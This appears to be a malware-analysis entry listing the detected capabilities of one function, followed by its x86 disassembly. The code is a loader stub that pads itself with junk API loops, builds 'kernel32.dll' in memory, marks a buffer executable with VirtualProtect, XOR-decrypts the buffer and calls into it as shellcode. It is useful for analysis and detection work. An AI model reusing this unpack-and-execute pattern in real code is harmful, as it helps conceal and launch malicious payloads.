Function at 0x403360
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path
Get uefi variable
Query environment variable
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x148c
call fcn.00405090
mov eax, dword [0x45fd20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
mov edi, dword [ebp - 0x1414]
xor esi, esi
jmp 0x403390
lea eax, [ebp - 0x1448]
push eax
lea eax, [ebp - 0x1440]
push eax
lea eax, [ebp - 0x1438]
push eax
call sub.KERNEL32.dll_GetSystemTimes
call ebx
cmp esi, 0x5bf5b
jle 0x4033c8
cmp dword [ebp - 0x143c], 0x79db998e
je 0x4033c8
cmp edi, 0x14a015d9
jne 0x4033d1
inc esi
cmp esi, 0x3685db3a
jl 0x403390
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
xor esi, esi
mov ebx, dword [ebp - 0x1424]
nop
push 0
push 0
call edi
cmp dword [0x361e340], 0x34c
jne 0x40340c
lea eax, [ebp - 0x1434]
push eax
call dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
lea eax, [ebp - 0x1430]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea eax, [ebp - 0x1484]
push eax
lea eax, [ebp - 0x1448]
push eax
lea eax, [ebp - 0x148c]
push eax
call sub.KERNEL32.dll_GetSystemTimes
lea eax, [ebp - 0x142c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov dword [0x361f5c8], 0xc1592e9e
cmp esi, 0x78ba
jle 0x403467
cmp ebx, 0x6a95922b
je 0x403467
cmp dword [ebp - 0x1448], 0x3a52713d
je 0x403467
cmp dword [ebp - 0x1428], 0x4f5333da
jne 0x403476
inc esi
cmp esi, 0x8af47bc
jl 0x4033e0
jmp 0x40349d
mov eax, dword [0x361e340]
cmp eax, 0x1126
jne 0x4034a2
lea eax, [ebp - 0x1434]
push eax
lea eax, [ebp - 0x1430]
push eax
lea eax, [ebp - 0x143c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
mov eax, dword [0x361e340]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll__lcreat]
cmp eax, 0x2c0
jne 0x4034c6
push 0
call edi
push 0
push 0
call ebx
mov eax, dword [0x361e340]
cmp esi, 0x5805aa
cmove eax, dword [0x45fd04]
inc esi
mov dword [0x361e340], eax
cmp esi, 0x5aff05
jl 0x4034b0
mov edi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
add eax, 0xc048
mov dword [0x361e340], eax
xor esi, esi
cmp eax, 0xa8c
jne 0x403509
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x361e340]
cmp esi, 0x2d46c
jne 0x403524
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x361e344], eax
mov eax, dword [0x361e340]
inc esi
cmp esi, 0xcb0eb
jl 0x4034f3
mov ecx, dword [0x45fcf8]
xor esi, esi
mov word [0x361e35e], 0x3233
mov word [0x361e35b], 0x656e
mov byte [0x361e35d], 0x6c
mov word [0x361e358], 0x656b
mov dword [0x361e361], 0x6c6c64
mov byte [0x361e35a], 0x72
mov dword [0x361e354], 0xd4cabf4c
mov byte [0x361e360], 0x2e
mov dword [0x361e348], ecx
test eax, eax
je 0x4035f5
mov edi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
mov dword [ebp - 0x1430], ecx
mov eax, 0xc048
add dword [ebp - 0x1430], eax
add dword [ebp - 0x1430], 0x7b
mov eax, dword [ebp - 0x1430]
mov cl, byte [eax + esi - 0x7b]
mov eax, dword [0x361e344]
mov byte [esi + eax], cl
cmp dword [0x361e340], 0xccb
jne 0x4035d0
push 0
push 0
push 0
push 0
call edi
cmp esi, 0x22ce
jne 0x4035e4
push 0x361e358
call ebx
mov dword [0x361e350], eax
inc esi
cmp esi, dword [0x361e340]
jae 0x4035f5
mov ecx, dword [0x361e348]
jmp 0x403590
push 0x400
push 0
mov dword [ebp - 0x1430], 3
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push str.dsfgsfdg
push eax
mov dword [ebp - 0x1434], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x1430]
push eax
lea eax, [ebp - 0x1434]
push eax
lea eax, [ebp - 0x1430]
push eax
call fcn.00402f60
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, 0x614b10
lea esp, [esp]
cmp dword [0x361e340], 0xa97
jne 0x40369d
push 0
lea eax, [ebp - 0x1404]
push eax
push 0
call edi
lea eax, [ebp - 0xc04]
push eax
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
dec esi
jne 0x403650
push str.VirtualProtect
push dword [0x361e350]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x143c]
mov dword [0x361e34c], eax
push ecx
push 0x40
push dword [0x361e340]
push dword [0x361e344]
call eax
mov esi, dword [0x361e340]
xor eax, eax
mov ecx, 0x3b1
mov edi, dword [0x361e344]
cmp byte [section..data], al
je 0x4036f7
test ecx, ecx
je 0x4036f7
inc eax
dec ecx
cmp byte [eax + section..data], 0
jne 0x4036e8
push eax
push section..data
call fcn.00402d90
add esp, 8
dec esi
js 0x403713
call fcn.00402ea0
xor byte [esi + edi], al
dec esi
jns 0x403708
add dword [0x361e344], 0x2354
call dword [0x361e344]
mov dword [ebp - 0x145c], 0x6122a852
mov dword [ebp - 0x1454], 0x4e153f9
mov dword [ebp - 0x146c], 0x4115a072
mov dword [ebp - 0x1474], 0x51b83058
mov dword [ebp - 0x147c], 0x68ccf823
mov dword [ebp - 0x1460], 0x56d890a4
mov dword [ebp - 0x1478], 0x54048dfe
mov dword [ebp - 0x1458], 0x7b807f1e
mov dword [ebp - 0x144c], 0x184e11d2
mov dword [ebp - 0x1464], 0x2a51e99f
mov dword [ebp - 0x1470], 0x50afcf63
mov dword [ebp - 0x1468], 0x5edf3732
mov dword [ebp - 0x1450], 0x4c36bb7
cmp dword [0x361e340], 0xb02
jne 0x4037bd
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b9a
mov esp, ebp
pop ebp
ret 0x10